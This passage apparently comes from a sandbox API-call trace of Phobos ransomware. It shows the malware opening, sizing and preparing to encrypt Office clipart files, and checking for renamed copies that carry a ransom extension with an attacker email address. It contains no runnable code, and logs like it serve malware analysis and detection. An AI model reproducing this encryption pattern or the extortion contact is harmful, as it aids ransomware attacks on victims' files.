GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.944] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.944] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13336) returned 1 [0150.944] CloseHandle (hObject=0x564) returned 1 [0150.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220 [0150.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.945] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.946] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10752) returned 1 [0150.946] CloseHandle (hObject=0x564) returned 1 [0150.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220 [0150.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.947] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.947] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24844) returned 1 [0150.947] CloseHandle (hObject=0x564) returned 1 [0150.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220 [0150.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.948] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.949] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14132) returned 1 [0150.949] CloseHandle (hObject=0x564) returned 1 [0150.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220 [0150.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.950] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.951] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16492) returned 1 [0150.951] CloseHandle (hObject=0x564) returned 1 [0150.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220 [0150.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.951] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.953] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11340) returned 1 [0150.953] CloseHandle (hObject=0x564) returned 1 [0150.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220 [0150.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.954] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.954] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16432) returned 1 [0150.954] CloseHandle (hObject=0x564) returned 1 [0150.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220 [0150.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.955] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.956] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16052) returned 1 [0150.956] CloseHandle (hObject=0x564) returned 1 [0150.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220 [0150.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.956] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.957] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10880) returned 1 [0150.957] CloseHandle (hObject=0x564) returned 1 [0150.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220 [0150.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.957] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.958] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3696) returned 1 [0150.958] CloseHandle (hObject=0x564) returned 1 [0150.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220 [0150.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.959] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.959] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3368) returned 1 [0150.959] CloseHandle (hObject=0x564) returned 1 [0150.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220 [0150.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.960] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.961] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10932) returned 1 [0150.961] CloseHandle (hObject=0x564) returned 1 [0150.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220 [0150.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.961] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.962] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6340) returned 1 [0150.962] CloseHandle (hObject=0x564) returned 1 [0150.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220 [0150.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.962] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.210] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9768) returned 1 [0151.210] CloseHandle (hObject=0x564) returned 1 [0151.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220 [0151.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.211] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.212] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6956) returned 1 [0151.212] CloseHandle (hObject=0x564) returned 1 [0151.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 0x220 [0151.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.213] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.213] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1940) returned 1 [0151.213] CloseHandle (hObject=0x564) returned 1 [0151.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220 [0151.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.214] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft 